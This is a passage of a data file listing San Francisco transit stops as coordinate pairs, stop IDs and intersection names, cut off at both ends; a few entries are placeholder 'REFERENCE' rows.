'Valencia St and 21st St'], ['37.75715,-122.42104', '16870', 'Valencia St and 21st St'], ['37.73471,-122.41491', '14568', 'Ellsworth St and Crescent Ave'], ['37.803807,-122.457995', '15379', 'Mason St (Presidio)/Presidio Bank'], ['37.803852,-122.456275', '15378', 'MASON ST (PRESIDIO)/PX'], ['37.71236,-122.402374', '11078', 'SAN BRUNO AVE and BAYSHORE BLVD'], ['37.803592,-122.466595', '15375', 'MASON ST (PRESIDIO)/Bldg B650'], ['37.802905,-122.462226', '15374', 'MASON ST (PRESIDIO)/Bldg B639'], ['37.803914,-122.456814', '15377', 'MASON ST (PRESIDIO)/PX'], ['37.803476,-122.466801', '15376', 'MASON ST (PRESIDIO)/Bldg B650'], ['37.798243,-122.412192', '15371', 'Mason St and Vallejo St'], ['37.798199,-122.41202', '15370', 'Mason St and Vallejo St'], ['37.803048,-122.462238', '15373', 'MASON ST (PRESIDIO)/Bldg B639'], ['37.794504,-122.411059', '15372', 'Mason St and Washington St'], ['37.723424,-122.454194', '17327', 'Ocean Ave&Lee Ave'], ['37.74577,-122.38665', '14338', 'Cargo Way and 3rd St'], ['37.7439,-122.38338', '14339', 'Cargo Way and Mendell St'], ['37.710209,-122.437955', '14336', 'Curtis St and Prague St'], ['37.74606,-122.38695', '14337', 'Cargo Way and 3rd St'], ['37.76214,-122.43519', '14334', 'Castro St and Market St'], ['37.748898,-122.451377', '14335', 'City View Way and Knollview Way'], ['37.751886,-122.434053', '14332', 'Castro St and Elizabeth St'], ['37.752083,-122.434248', '14333', 'Castro St and Elizabeth St'], ['37.76918,-122.43596', '14330', 'Castro St and Duboce Ave'], ['37.76895,-122.43571', '14331', 'Castro St and Duboce Ave'], ['37.737927,-122.389619', '13135', '3rd St and Kirkwood Ave'], ['37.737213,-122.389803', '13134', '3rd St and La Salle Ave'], ['37.787632,-122.403439', '13137', '3rd St and Market St'], ['37.786373,-122.40211', '13136', '3rd St and Stevenson St'], ['37.73891,-122.38912', '13131', '3rd St and Jerrold Ave'], ['37.72119,-122.39606', '13130', '3rd St and Ingerson Ave'], ['37.71977,-122.39671', '13133', '3rd St and Key St'], ['37.73891,-122.38913', '13132', '3rd St and Jerrold Ave'], ['37.78296,-122.40665', '13172', '5th St and Mission St'], ['37.723127,-122.395243', '17320', '3rd St and Fitzgerald Ave'], ['37.73507,-122.39048', '13139', '3rd St and Oakdale Ave'], ['37.73541,-122.39035', '13138', '3rd St and Newcomb Ave'], ['37.7401,-122.46344', '16014', 'Portola Dr and Dorchester Way'], ['37.76394,-122.466241', '17609', '9th Ave. and Irving St.'], ['37.764101,-122.466161', '17608', 'Irving St. and 9th Ave.'], ['37.719682,-122.475565', '17607', 'Gonzalez Dr. and Crespi Dr.'], ['37.706969,-122.468792', '17606', 'Daly City BART West Station Rd.'], ['37.789814,-122.394244', '17605', 'Beale St. and Howard St.'], ['37.790608,-122.393567', '17604', 'Howard St. and Beale St.'], ['37.789823,-122.394244', '17603', 'Beale St. and Howard St.'], ['37.741204,-122.473522', '17602', 'Ulloa St. and 17th Ave.'], ['37.780204,-122.432138', '14642', 'Fillmore St and Turk St'], ['37.762201,-122.464144', '15192', 'Judah St and 7th Ave'], ['37.797391,-122.435489', '14643', 'Fillmore St and Union St'], ['37.769557,-122.389296', '17321', '3rd St and Gene Friend Way'], ['37.758383,-122.444479', '14079', 'Clayton St and Market St'], ['37.764391,-122.388853', '17356', 'Third Street and Mariposa St'], ['37.75368,-122.457977', '16907', '117 Warren Dr'], ['37.787492,-122.44852', '16906', 'Walnut St and California St'], ['37.739617,-122.46698', '16905', 'West Portal Ave and Vicente St'], ['37.735563,-122.505366', '16452', 'Sloat Blvd and 47th Ave'], ['37.741009,-122.465858', '16903', 'West Portal Ave and Ulloa St'], ['37.74084,-122.465743', '16902', 'West Portal Ave and Ulloa St'], ['37.734375,-122.486235', '16457', 'Sloat Blvd and El Mirasol Pl'], ['37.73548,-122.47112', '16900', 'West Portal/Sloat/St Francis Circle'], ['37.73025,-122.37448', '15766', 'Northridge Rd and Dormitory Rd'], ['37.730978,-122.377013', '15767', 'Northridge Rd and Harbor Rd'], ['37.753493,-122.495056', '15764', 'Noriega St and Sunset Blvd'], ['37.753332,-122.495422', '15765', 'Noriega St and Sunset Blvd'], ['37.720218,-122.475313', '14206', 'Crespi Dr and 19th Ave'], ['37.7201,-122.47594', '14207', 'Crespi Dr and Varela Ave'], ['37.752936,-122.504451', '15760', 'Noriega St and 45th Ave'], ['37.753034,-122.505712', '15761', 'Noriega St and 46th Ave'], ['37.74857,-122.41818', '15568', 'Mission St and 26th St'], ['37.74429,-122.42064', '15569', 'Mission St and 29th St'], ['37.7504,-122.38772', '13118', '3rd St and Cesar Chavez St'], ['37.75343,-122.41863', '15564', 'Mission St and 23rd St'], ['37.75273,-122.41841', '15565', 'Mission St and 24th St'], ['37.751964,-122.418528', '15566', 'Mission St and 24th St'], ['37.74951,-122.4181', '15567', 'Mission St and 26th St'], ['37.75659,-122.41895', '15560', 'Mission St and 21st St'], ['37.75582,-122.41871', '15561', 'Mission St and 22nd St'], ['37.75517,-122.4188', '15562', 'Mission St and 22nd St'], ['37.75428,-122.41856', '15563', 'Mission St and 23rd St'], ['37.789677,-122.388535', '17795', 'The Embarcadero&Harrsion St NE-FS/PS'], ['37.758985,-122.414617', '17733', 'Folsom St and 20th St'], ['37.758762,-122.414789', '17732', 'Folsom St and 20St'], ['37.771736,-122.503537', '17730', 'Fulton St t& 43rd Ave'], ['37.796734,-122.408581', '17737', 'Pacific Ave and Stockton St'], ['37.784907,-122.421334', '17736', "Van Ness Ave and O'Farrell St"], ['37.777093,-122.443424', '17735', 'McAllister St and Lyon St'], ['37.777156,-122.443321', '17734', 'Mcallister St and Lyon St'], ['37.800951,-122.434697', '13959', 'Chestnut St and Webster St'], ['37.801103,-122.434502', '13958', 'Chestnut St and Webster St'], ['37.800363,-122.439341', '13953', 'Chestnut St and Pierce St'], ['37.800443,-122.439673', '13952', 'Chestnut St and Pierce St'], ['37.801611,-122.429503', '13951', 'Chestnut St and Octavia St'], ['37.801691,-122.429836', '13950', 'Chestnut St and Octavia St'], ['37.802199,-122.424894', '13957', 'Chestnut St and Van Ness Ave'], ['37.802333,-122.424871', '13956', 'Chestnut St and Van Ness Ave'], ['37.800113,-122.441278', '13955', 'Chestnut St and Scott St'], ['37.800265,-122.441083', '13954', 'Chestnut St and Scott St'], ['37.80549,-122.417589', '14116', 'Columbus Ave and North Point St'], ['37.79911,-122.408602', '14117', 'Columbus Ave and Stockton St'], ['37.802598,-122.413646', '14114', 'Columbus Ave and Lombard St'], ['37.802089,-122.41266', '14115', 'Columbus Ave and Mason St'], ['37.789597,-122.388626', '17794', 'The Embarcadero&Harrison St NW-NS/PS'], ['37.802687,-122.413531', '14113', 'Columbus Ave and Lombard St'], ['37.79607,-122.4043', '14110', 'Columbus Ave and Jackson St'], ['37.797319,-122.405742', '14111', 'Columbus Ave and Kearny St'], ['37.733542,-122.496636', '16433', 'Skyline Blvd and Sloat Blvd'], ['37.803285,-122.414643', '14118', 'Columbus Ave and Taylor St'], ['37.731149,-122.499223', '16432', 'Skyline Blvd and Lake Merced Blvd'], ['37.777375,-122.416305', '17669', '9TH St AND MARKET St'], ['37.792999,-122.393381', '17668', 'MISSION ST and STEUART STREET S-MB/BZ'], ['37.765862,-122.407669', '13295', '16th St and Potrero Ave'], ['37.791186,-122.444246', '15143', 'Jackson St and Baker St'], ['37.728597,-122.428594', '17427', 'Silver Ave and Lisbon St'], ['37.781836,-122.504129', '17426', 'Clement St and 43rd Ave'], ['37.733148,-122.465501', '17425', 'Monterey Blvd and San Anselmo Ave'], ['37.780648,-122.412452', '17424', 'Market St and 7th St N'], ['37.778784,-122.414723', '17423', 'Market St and Hyde St'], ['37.773825,-122.423871', '17421', 'Page St and Octavia Blvd'], ['37.72839,-122.46788', '17104', 'Ocean Ave and Aptos Ave'], ['37.789262,-122.396869', '17429', '1st St and Natoma St'], ['37.741406,-122.387153', '17428', 'Newhall St and Fairfax Ave'], ['37.769409,-122.4294', '14448', 'Duboce Ave and Church St'], ['37.72598,-122.46436', '17106', 'Ocean Ave and Victoria St'], ['37.71417,-122.45223', '17107', 'San Jose Ave and Farallones St'], ['37.775627,-122.432476', '15012', 'Hayes St and Steiner St'], ['37.78174,-122.49223', '14067', 'Clement St and 32nd Ave'], ['37.786647,-122.428457', '16600', 'Sutter St and Laguna St'], ['37.789062,-122.410316', '16601', 'Sutter St and Mason St'], ['37.786933,-122.427062', '16602', 'Sutter St and Octavia St'], ['37.787797,-122.420198', '16603', 'Sutter St and Polk St'], ['37.789266,-122.408677', '16604', 'Sutter St and Powell St'], ['37.784383,-122.446175', '16605', 'Sutter St and Presidio Ave'], ['37.790298,-122.400674', '16606', 'Sutter St and Sansome St'], ['37.776024,-122.491838', '13057', 'Balboa St and 32nd Ave'], ['37.785402,-122.438322', '16608', 'Sutter St and Scott St'], ['37.785942,-122.434793', '16609', 'Sutter St and Steiner St'], ['37.734485,-122.477242', '16438', 'Sloat Blvd and 21st Ave'], ['37.76035,-122.42135', '16866', 'Valencia St and 19th St'], ['37.776948,-122.471975', '15946', 'Park Presidio Blvd and Balboa St'], ['37.77648,-122.47214', '15947', 'Park Presidio Blvd and Balboa St'], ['37.791941,-122.402542', '15944', 'Pine St and Montgomery St'], ['37.76805,-122.43927', '15945', 'Park Hill Ave and Buena Vista East'], ['37.79254,-122.39772', '15942', 'Pine St and Davis St'], ['37.792484,-122.398518', '15943', 'Pine St and Front St'], ['37.73019,-122.39988', '15940', 'Phelps St and Williams Ave'], ['37.792288,-122.400088', '15941', 'Pine St and Battery St'], ['37.76523,-122.42182', '16860', 'Valencia St and 16th St'], ['37.7816,-122.49253', '14068', 'Clement St and 32nd Ave'], ['37.781644,-122.494397', '14069', 'Clement St and Legion Of Honor Dr'], ['37.788792,-122.435076', '13898', 'California St and Steiner St'], ['37.784363,-122.472711', '15948', 'Park Presidio and California Street'], ['37.784497,-122.472528', '15949', 'PARK PRESIDIO BLVD and California ST'], ['37.72304,-122.451448', '15784', 'OCEAN AVE/CCSF Pedestrian Bridge'], ['37.722947,-122.450866', '15785', 'OCEAN AVE/CCSF Pedestrian Bridge'], ['37.727252,-122.46676', '15786', 'Ocean Ave and Cerritos Ave'], ['37.724957,-122.461059', '15787', 'Ocean Ave and Dorado Ter'], ['37.728383,-122.467871', '15780', 'Ocean Ave and Aptos Ave'], ['37.72287,-122.44735', '15781', 'Ocean Ave/Balboa Park Bart Station'], ['37.72367,-122.43867', '15782', 'Ocean Ave and Cayuga Ave'], ['37.72357,-122.43853', '15783', 'Ocean Ave and Cayuga Ave'], ['37.76309,-122.42178', '16863', 'Valencia St and 17th St'], ['37.726008,-122.464072', '15788', 'Ocean Ave and Fairfield Way'], ['37.7232,-122.45321', '15789', 'Ocean Ave and Harold Ave'], ['37.737973,-122.504268', '13603', '46th Ave and Vicente St'], ['37.720631,-122.446577', '11043', 'REFERENCE and REFERENCE'], ['37.739829,-122.504407', '13601', '46th Ave and Ulloa St'], ['37.714251,-122.436042', '14890', 'Geneva Ave and Naples St'], ['37.77991,-122.50994', '13607', '48th Ave and Point Lobos Ave'], ['37.736018,-122.505366', '13606', '47th Ave and Wawona St'], ['37.752783,-122.506364', '13605', '47th Ave and Noriega St'], ['37.82,-12.24', '11042', 'REFERENCE and REFERENCE'], ['37.71689,-122.44329', '15494', 'Niagra Ave and Alemany Blvd'], ['37.71213,-122.386948', '13609', 'Candlestick Park/49ers Stadium'], ['37.779023,-122.509411', '13608', '48th Ave and Point Lobos Ave'], ['37.801929,-122.412775', '15360', 'Mason St and Greenwich St'], ['37.80183,-122.412924', '15361', 'Mason St and Greenwich St'], ['37.74311,-122.45548', '15254', 'Laguna Honda Blvd and Portola Dr'], ['37.7962,-122.411619', '15366', 'Mason St and Pacific Ave'], ['37.79545,-122.411712', '15156', 'Jackson St and Mason St'], ['37.79612,-122.411769', '15367', 'Mason St and Pacific Ave'], ['37.740885,-122.457517', '16118', 'Portola Dr and Rex Ave'], ['37.755413,-122.406472', '16119', 'POTRERO AVE/SF General Hospital'], ['37.74287,-122.45524', '16114', 'Portola Dr and Laguna Honda Blvd'], ['37.74593,-122.44957', '16115', 'PORTOLA DR/McAteer High School'], ['37.7404,-122.46107', '16116', 'Portola Dr and San Pablo Ave'], ['37.74023,-122.46083', '16117', 'Portola Dr and San Pablo Ave'], ['37.779553,-122.503073', '16110', 'Point Lobos Ave and 42nd Ave'], ['37.779837,-122.50501', '16111', 'Point Lobos Ave and 44th Ave'], ['37.74636,-122.44764', '16112', 'Portola Dr and Glenview Dr'], ['37.74324,-122.4552', '16113', 'Portola Dr and Laguna Honda Blvd'], ['37.72205,-122.43975', '17067', 'Cayuga Ave and Onondaga Ave'], ['37.793145,-122.400982', '13894', 'California St and Sansome St'], ['37.766657,-122.395329', '17066', '7th St and 16th St'], ['37.721244,-122.475096', '17065', '19th Ave and Holloway Ave'], ['37.794828,-122.39377', '17283', 'The Embarcadero and Ferry Building'], ['37.765878,-122.450094', '17282', 'Carl St and Cole St'], ['37.805146,-122.403233', '17281', 'Embarcadero and Sansome St'], ['37.721172,-122.475302', '17064', '19th Ave and Holloway Ave'], ['37.780382,-122.416843', '17287', 'Larkin St&Mcallister St'], ['37.746164,-122.39392', '17286', 'Evans Ave and Selby St'], ['37.744039,-122.390473', '17285', 'Evans Ave and Quint St'], ['37.80661,-122.405434', '17284', 'The Embarcadero and Bay St'], ['37.7654,-122.415428', '17289', '16th St and Folsom St'], ['37.734773,-122.401592', '17288', 'Silver Ave&Santa Fe Ave'], ['37.7452,-122.44141', '14453', 'Duncan St and Amber Dr'], ['37.783258,-122.459105', '17250', 'ARGUELLO BLVD and EUCLID AVE'], ['37.76911,-122.4337', '14451', 'Duboce Ave and Noe St'], ['37.78389,-122.45885', '14457', 'Euclid Ave and Arguello Blvd'], ['37.717349,-122.405211', '17061', 'Wilde Ave and Rutland St'], ['37.74526,-122.44029', '14455', 'Duncan St and Diamond Heights Blvd'], ['37.74519,-122.44304', '14454', 'Duncan St and Cameo Way'], ['37.76038,-122.40991', '13737', 'Bryant St and 19th St'], ['37.76058,-122.41008', '13736', 'Bryant St and 19th St'], ['37.78437,-122.45027', '14459', 'Euclid Ave and Collins St'], ['37.717224,-122.405451', '17060', 'Wilde Ave and Rutland St'], ['37.76402,-122.41041', '13733', 'Bryant St and 17th St'], ['37.76422,-122.41028', '13732', 'Bryant St and 17th St'], ['37.7653,-122.41054', '13731', 'Bryant St and 16th St'], ['37.76549,-122.4104', '13730', 'Bryant St and 16th St'], ['37.778188,-122.419743', '14923', 'Grove St and Van Ness Ave'], ['37.77756,-122.42495', '14922', 'Grove St and Octavia St'], ['37.777382,-122.426324', '14921', 'Grove St and Laguna St'], ['37.777748,-122.423306', '14920', 'Grove St and Gough St'], ['37.7523,-122.44246', '14927', 'Grand View Ave and 23rd St'], ['37.75249,-122.44257', '14926', 'Grand View Ave and 23rd St'], ['37.75405,-122.44115', '14925', 'Grand View Ave and 22nd St'], ['37.75504,-122.44043', '14924', 'Grand View Ave and 21st St'], ['37.74521,-122.41345', '14699', 'Folsom St and Stoneman St'], ['37.74532,-122.41336', '14698', 'Folsom St and Stoneman St'], ['37.7507,-122.44274', '14929', 'Grand View Ave and 24th St'], ['37.75084,-122.44282', '14928', 'Grand View Ave and 24th St'], ['37.764738,-122.407349', '16028', 'Potrero Ave and 17th St'], ['37.76423,-122.40754', '16029', 'Potrero Ave and 17th St'], ['37.785906,-122.426654', '16020', 'Post St and Octavia St'], ['37.7868,-122.41956', '16021', 'Post St and Polk St'], ['37.7883,-122.40793', '16022', 'Post St and Powell St'], ['37.78788,-122.41132', '16023', 'Post St and Taylor St'], ['37.786575,-122.421448', '16024', 'Post St and Van Ness Ave'], ['37.766343,-122.4082', '16025', 'Potrero Ave and 16th St'], ['37.766031,-122.407474', '16026', 'Potrero Ave and 16th St'], ['37.765701,-122.407646', '16027', 'Potrero Ave and 16th St'], ['37.743302,-122.396787', '15181', 'Jerrold Ave and Selby St'], ['37.791772,-122.439612', '15161', 'Jackson St and Scott St'], ['37.79235,-122.436109', '15162', 'Jackson St and Steiner St'], ['37.792201,-122.43632', '15163', 'Jackson St and Steiner St'], ['37.795255,-122.413202', '15164', 'Jackson St and Taylor St'], ['37.794044,-122.422959', '15165', 'Jackson St and Van Ness Ave'], ['37.793963,-122.423372', '15166', 'Jackson St and Van Ness Ave'], ['37.792716,-122.433025', '15167', 'Jackson St and Webster St'], ['37.79266,-122.43339', '15168', 'Jackson St and Webster St'], ['37.71796,-122.47874', '15169', 'Juan Bautista Cir and Bucareli Dr'], ['37.71626,-122.450334', '16265', 'San Jose Ave and Lakeview Ave'], ['37.765186,-122.480372', '13429', '22nd Ave and Lincoln Way'], ['37.757754,-122.479853', '13428', '22nd Ave and Lawton St'], ['37.720827,-122.446474', '16260', 'San Jose Ave and Geneva Ave'], ['37.726979,-122.48331', '16955', 'Winston Dr and Lake Merced Blvd'], ['37.75962,-122.40388', '13423', '20th St and Vermont St'], ['37.805313,-122.423987', '15468', 'North Point St and Polk St'], ['37.75962,-122.40223', '13421', '20th St and Rhode Island St'], ['37.80097,-122.443136', '14418', 'Divisadero St and Francisco St'], ['37.759592,-122.47998', '13427', '22nd Ave and Kirkham St'], ['37.761457,-122.480106', '13426', '22nd Ave and Judah St'], ['37.763679,-122.480268', '13425', '22nd Ave and Irving St'], ['37.75536,-122.43901', '13424', '21st St and Douglass St'], ['37.79034,-122.40061', '16334', 'Sansome St and Sutter St'], ['37.80142,-122.40276', '16335', 'Sansome St and Union St'], ['37.79967,-122.4024', '16336', 'Sansome St and Vallejo St'], ['37.79606,-122.40166', '16337', 'Sansome St and Washington St'], ['37.750388,-122.446577', '14209', '40 CRESTLINE DR'], ['37.79778,-122.40202', '16331', 'Sansome St and Pacific Ave'], ['37.79202,-122.40086', '16332', 'Sansome St and Pine St'], ['37.79428,-122.40131', '16333', 'Sansome St and Sacramento St'], ['37.75824,-122.46812', '14857', 'Lawton St and 11th Ave'], ['37.7584,-122.46793', '14856', 'Lawton St and 11th Ave'], ['37.75839,-122.46605', '14855', 'Lawton St and 9th Ave'], ['37.758524,-122.465804', '14854', 'Lawton St and 9th Ave'], ['37.758471,-122.463879', '14853', 'Lawton St and 7th Ave'], ['37.758605,-122.464086', '14852', 'Lawton St and 7th Ave'], ['37.785084,-122.417792', '14851', "Larkin St and O'Farrell St"], ['37.780569,-122.416865', '14850', 'Larkin St and Mcallister St'], ['37.755479,-122.416464', '17664', 'South Van Ness and 22nd St'], ['37.718284,-122.448593', '16268', 'San Jose Ave and Mt Vernon Ave'], ['37.787988,-122.4405', '14410', 'Divisadero St and California St'], ['37.78717,-122.41028', '14306', 'Geary Blvd and Mason St'], ['37.779815,-122.493227', '13557', '33rd Ave and Geary Blvd'], ['37.781502,-122.493515', '13556', '33rd Ave and Clement St'], ['37.781537,-122.493354', '13555', '33rd Ave and Clement St'], ['37.775997,-122.493133', '13554', '33rd Ave and Balboa St'], ['37.776032,-122.492973', '13553', '33rd Ave and Balboa St'], ['37.777692,-122.493077', '13552', '33rd Ave and Anza St'], ['37.777861,-122.493249', '13551', '33rd Ave and Anza St'], ['37.779939,-122.492296', '13550', '32nd Ave and Geary Blvd'], ['37.718718,-122.418633', '15348', 'Mansell St and John F Shelley Dr'], ['37.79115,-122.424037', '16297', 'Sacramento St and Franklin St'], ['37.728285,-122.467561', '15779', 'Ocean Ave and Aptos Ave'], ['37.779548,-122.493215', '13559', '33rd Ave and Geary Blvd'], ['37.779815,-122.493388', '13558', '33rd Ave and Geary Blvd'], ['37.786509,-122.408139', '16067', "Powell St and O'Farrell St"], ['37.76742,-122.43571', '14308', 'Castro St and 14th St'], ['37.784457,-122.407636', '16062', 'Powell/Market'], ['37.723431,-122.454212', '15778', 'Ocean Ave and Lee St'], ['37.7848,-122.40768', '16063', 'Powell St and Market St'], ['37.80068,-122.4075', '16758', 'Union St and Grant Ave'], ['37.732348,-122.405695', '16421', 'Silver Ave and San Bruno Ave'], ['37.7117,-122.40896', '16848', 'Visitacion Ave and Cora St'], ['37.73045,-122.42971', '15625', 'Mission St and Trumbull St'], ['37.725598,-122.422043', '14589', 'Felton St and Madison St'], ['37.7166,-122.40572', '17128', 'Tioga Ave and Rutland St'], ['37.779354,-122.410505', '17129', 'Mission St and 7th St'], ['37.72789,-122.39027', '16842', 'Van Dyke Ave and Keith St'], ['37.729202,-122.392238', '16843', 'Van Dyke Ave and Lane St'], ['37.72707,-122.38883', '16840', 'Van Dyke Ave and Jennings St'], ['37.72808,-122.39042', '16841', 'Van Dyke Ave and Keith St'], ['37.71273,-122.41263', '16846', 'Visitacion Ave and Britton St'], ['37.765632,-122.431216', '17123', 'Market St and Sanchez St'], ['37.76064,-122.49914', '17120', 'Judah St and 40th Ave'], ['37.76077,-122.49937', '17121', 'Judah St and 40th Ave'], ['37.75401,-122.44089', '15031', 'Hoffman Ave and 22nd St'], ['37.765526,-122.47761', '15309', 'Lincoln Way and 19th Ave'], ['37.79036,-122.429185', '16306', 'Sacramento St and Laguna St'], ['37.785814,-122.433268', '14641', 'Fillmore St and Sutter St'], ['37.766001,-122.466746', '15300', 'Lincoln Way and 9th Ave'], ['37.724583,-122.434757', '1911', 'MISSION ST and BRAZIL AVE'], ['37.765903,-122.468889', '15302', 'Lincoln Way and 11th Ave'], ['37.76575,-122.46871', '15303', 'Lincoln Way and 11th Ave'], ['37.765715,-122.473221', '15304', 'Lincoln Way and 15th Ave'], ['37.76556,-122.47305', '15305', 'Lincoln Way and 15th Ave'], ['37.765616,-122.475421', '15306', 'Lincoln Way and 17th Ave'], ['37.791095,-122.408905', '16069', 'Powell St and Pine St'], ['37.771605,-122.433854', '14961', 'Haight St and Pierce St'], ['37.766154,-122.44794', '14074', 'Clayton St and Carl St'], ['37.771775,-122.433637', '14960', 'Haight St and Pierce St'], ['37.783184,-122.419042', '14489', 'Eddy St and Polk St'], ['37.785259,-122.43943', '16590', 'Sutter St and Divisadero St'], ['37.74981,-122.43404', '14328', 'Castro St and 25th St'], ['37.786086,-122.432828', '16592', 'Sutter St and Fillmore St'], ['37.787207,-122.424924', '16593', 'Sutter St and Gough St'], ['37.788216,-122.416908', '16594', 'Sutter St and Hyde St'], ['37.788643,-122.413618', '16595', 'Sutter St and Jones St'], ['37.789818,-122.404378', '16596', 'Sutter St and Kearny St'], ['37.788011,-122.418536', '16597', 'Sutter St and Larkin St'], ['37.788429,-122.415269', '16598', 'Sutter St and Leavenworth St'], ['37.786724,-122.428706', '16599', 'Sutter St and Laguna St'], ['37.75441,-122.43431', '14323', 'Castro St and 22nd St'], ['37.75464,-122.43448', '14322', 'Castro St and 22nd St'], ['37.752895,-122.434316', '14325', 'Castro St and 23rd St'], ['37.752779,-122.434156', '14324', 'Castro St and 23rd St'], ['37.72688,-122.41653', '14582', 'Felton St and Amherst St'], ['37.79806,-122.427371', '16757', 'Union St and Gough St'], ['37.734135,-122.390813', '13140', '3rd St and Palou Ave'], ['37.734091,-122.390928', '13141', '3rd St and Palou Ave'], ['37.734787,-122.390721', '13143', '3rd St and Oakdale Ave'], ['37.782704,-122.39747', '13144', '3rd St and Perry St'], ['37.73225,-122.39146', '13145', '3rd St and Revere Ave'], ['37.72078,-122.39649', '13146', '3rd St and Salinas Ave'], ['37.73067,-122.39202', '13147', '3rd St and Thomas Ave'], ['37.73044,-122.39237', '13148', '3rd St and Thornton Ave'], ['37.729238,-122.392593', '13149', '3rd St and Van Dyke Ave'], ['37.812036,-122.369859', '15414', 'Macalla St and Nimitz Dr'], ['37.81324,-122.3709', '15415', 'Macalla St and Treasure Island Rd'], ['37.723433,-122.440816', '17638', 'Ocean Ave and Otsego Ave'], ['37.783026,-122.466475', '17639', '8th Ave and Clement St'], ['37.799835,-122.467305', '15410', 'Mcdowell Ave and Lincoln Blvd'], ['37.74853,-122.4759', '13383', '19th Ave and Quintara St'], ['37.80376,-122.476008', '15412', 'Merchant St and Lincoln Blvd'], ['37.812,-122.36483', '15413', '62 Macalla St'], ['37.743804,-122.383313', '17632', 'Mendell St and Cargo Way'], ['37.802745,-122.435167', '17633', 'BAY St and WEBSTER St'], ['37.760269,-122.507998', '17630', '48th Ave and Juda St'], ['37.760367,-122.508032', '17631', 'Judah St and 48th Ave'], ['37.772006,-122.430485', '17636', 'Fillmore St and Haight St'], ['37.775069,-122.419193', '15419', 'Metro Van Ness Station'], ['37.710567,-122.404493', '16847', 'Visitacion Ave and Bay Shore Blvd'], ['37.780889,-122.413587', '17635', 'McAllister St and Leavenworth St'], ['37.74202,-122.42575', '13965', 'Chenery St and 30th St'], ['37.709834,-122.432435', '13962', 'Chicago Way and Naylor St'], ['37.709628,-122.432504', '13963', 'Chicago Way and Naylor St'], ['37.77192,-122.49679', '14215', 'Fulton St and 37th Ave'], ['37.77197,-122.49557', '14214', 'Fulton St and 36th Ave'], ['37.77189,-122.50009', '14217', 'Fulton St and 40th Ave'], ['37.77198,-122.49798', '14216', 'Fulton St and 38th Ave'], ['37.77223,-122.49318', '14211', 'Fulton St and 33rd Ave'], ['37.751762,-122.446198', '14210', '74 Crestline Dr'], ['37.77208,-122.49634', '14213', 'Fulton St and 36th Ave'], ['37.7721,-122.49288', '14212', 'Fulton St and 33rd Ave'], ['37.708968,-122.434336', '13961', 'Chicago Way and Cordova Ave'], ['37.73037,-122.39991', '16844', 'Vesta St and Phelps St'], ['37.77179,-122.49991', '14218', 'Fulton St and 40th Ave'], ['37.736125,-122.504351', '16932', 'Wawona/46th Ave /SF Zoo'], ['37.746489,-122.456441', '16933', 'Woodside Ave and Balceta Ave'], ['37.79308,-122.42243', '16930', 'Washington St and Van Ness Ave'], ['37.73932,-122.38926', '13129', '3rd St and Innes Ave'], ['37.746283,-122.455548', '16936', 'Woodside Ave and Hernandez Ave'], ['37.745766,-122.452431', '16937', 'Woodside Ave and Portola Dr'], ['37.74638,-122.45535', '16934', 'Woodside Ave and Hernandez Ave'], ['37.746283,-122.455593', '16935', 'Woodside Ave and Hernandez Ave'], ['37.74123,-122.4113', '15771', 'Nevada St and Powhattan Ave'], ['37.73992,-122.41141', '15770', 'Nevada St and Cortland Ave'], ['37.745623,-122.452225', '16938', 'Woodside Ave and Portola Dr'], ['37.745766,-122.453829', '16939', 'Woodside Ave and Ulloa St'], ['37.729384,-122.381367', '15775', 'Oakdale Ave and Baldwin Ct'], ['37.741885,-122.403341', '15774', 'Oakdale Ave and Barneveld Ave'], ['37.730152,-122.382684', '15777', 'Oakdale Ave and Ingalls St'], ['37.728223,-122.379318', '15776', 'Oakdale Ave and Griffith St'], ['37.735009,-122.411169', '14201', 'Crescent Ave and Putnam St'], ['37.791144,-122.395916', '15579', 'Mission St and Beale St'], ['37.73899,-122.42404', '15578', 'Mission St and Appleton Ave'], ['37.738867,-122.423871', '15577', 'Mission St and Appleton Ave'], ['37.71715,-122.4404', '15576', 'Mission St and Amazon Ave'], ['37.712765,-122.412371', '16845', 'Visitacion Ave and Britton St'], ['37.70889,-122.4522', '15574', 'Mission St and Acton St'], ['37.73217,-122.428', '15573', '4080 Mission St'], ['37.74244,-122.422', '15572', 'Mission St and 30th St'], ['37.742435,-122.421819', '15571', 'Mission St and 30th St'], ['37.74381,-122.42113', '15570', 'Mission St and 29th St'], ['37.807407,-122.414125', '13092', 'Beach St and Mason St'], ['37.806375,-122.423195', '13093', 'Beach St and Polk St'], ['37.803629,-122.443674', '13090', 'Beach St and Divisadero St'], ['37.80513,-122.43221', '13091', 'Marina Blvd and Laguna St'], ['37.736655,-122.431181', '13096', 'Bemis St and Moffitt St'], ['37.76719,-122.38899', '13097', '3rd St and 16th St'], ['37.80378,-122.44258', '13094', 'Beach St and Scott St'], ['37.74244,-122.38815', '13123', '3rd St and Evans Ave'], ['37.71643,-122.4965', '15128', '555 John Muir Dr'], ['37.76658,-122.38919', '13098', '3rd St and 16th St'], ['37.766579,-122.389189', '13099', '3rd/btw 16th and Gene Friend'], ['37.718039,-122.414258', '15346', 'Mansell St and John F Shelley Dr'], ['37.717007,-122.49777', '15129', '655 John Muir Ave'], ['37.757677,-122.435966', '13414', '20th St and Collingwood St'], ['37.78885,-122.393086', '17617', 'Beale St. and Folsom St.'], ['37.802076,-122.45584', '17785', 'Presidio Transit Center NS-??/BZ'], ['37.774966,-122.419275', '17610', 'S. Van Ness Ave. and Market St.'], ['37.775472,-122.434443', '15003', 'Hayes St and Pierce St'], ['37.74012,-122.3887', '13127', '3rd St and Hudson Ave'], ['37.798123,-122.406897', '14101', 'Columbus Ave and Broadway'], ['37.741484,-122.4713', '13269', '15th Ave and Ulloa St'], ['37.803794,-122.415136', '14103', 'Columbus Ave and Chestnut St'], ['37.797626,-122.406465', '14102', 'Columbus Ave and Broadway'], ['37.801188,-122.411605', '14105', 'Columbus Ave and Filbert St'], ['37.80341,-122.414586', '14104', 'Columbus Ave and Chestnut St'], ['37.804205,-122.415973', '14107', 'Columbus Ave and Francisco St'], ['37.804517,-122.416167', '14106', 'Columbus Ave and Francisco St'], ['37.796065,-122.404307', '14109', 'Columbus Ave and Jackson St'], ['37.799386,-122.408723', '14108', 'Columbus Ave and Green St'], ['37.72263,-122.39541', '13125', '3rd St and Gilman Ave'], ['37.773946,-122.445679', '15002', 'Hayes St and Masonic Ave'], ['37.726936,-122.393511', '17412', 'Armstrong Ave and 3rd St'], ['37.73279,-122.4751', '13377', '19th Ave and Ocean Ave'], ['37.786256,-122.399061', '17410', 'Howard St and New Montgomery St'], ['37.786077,-122.399256', '17411', 'Howard St and New Montgomery St'], ['37.722333,-122.395599', '17414', 'Gilman St and 3rd St'], 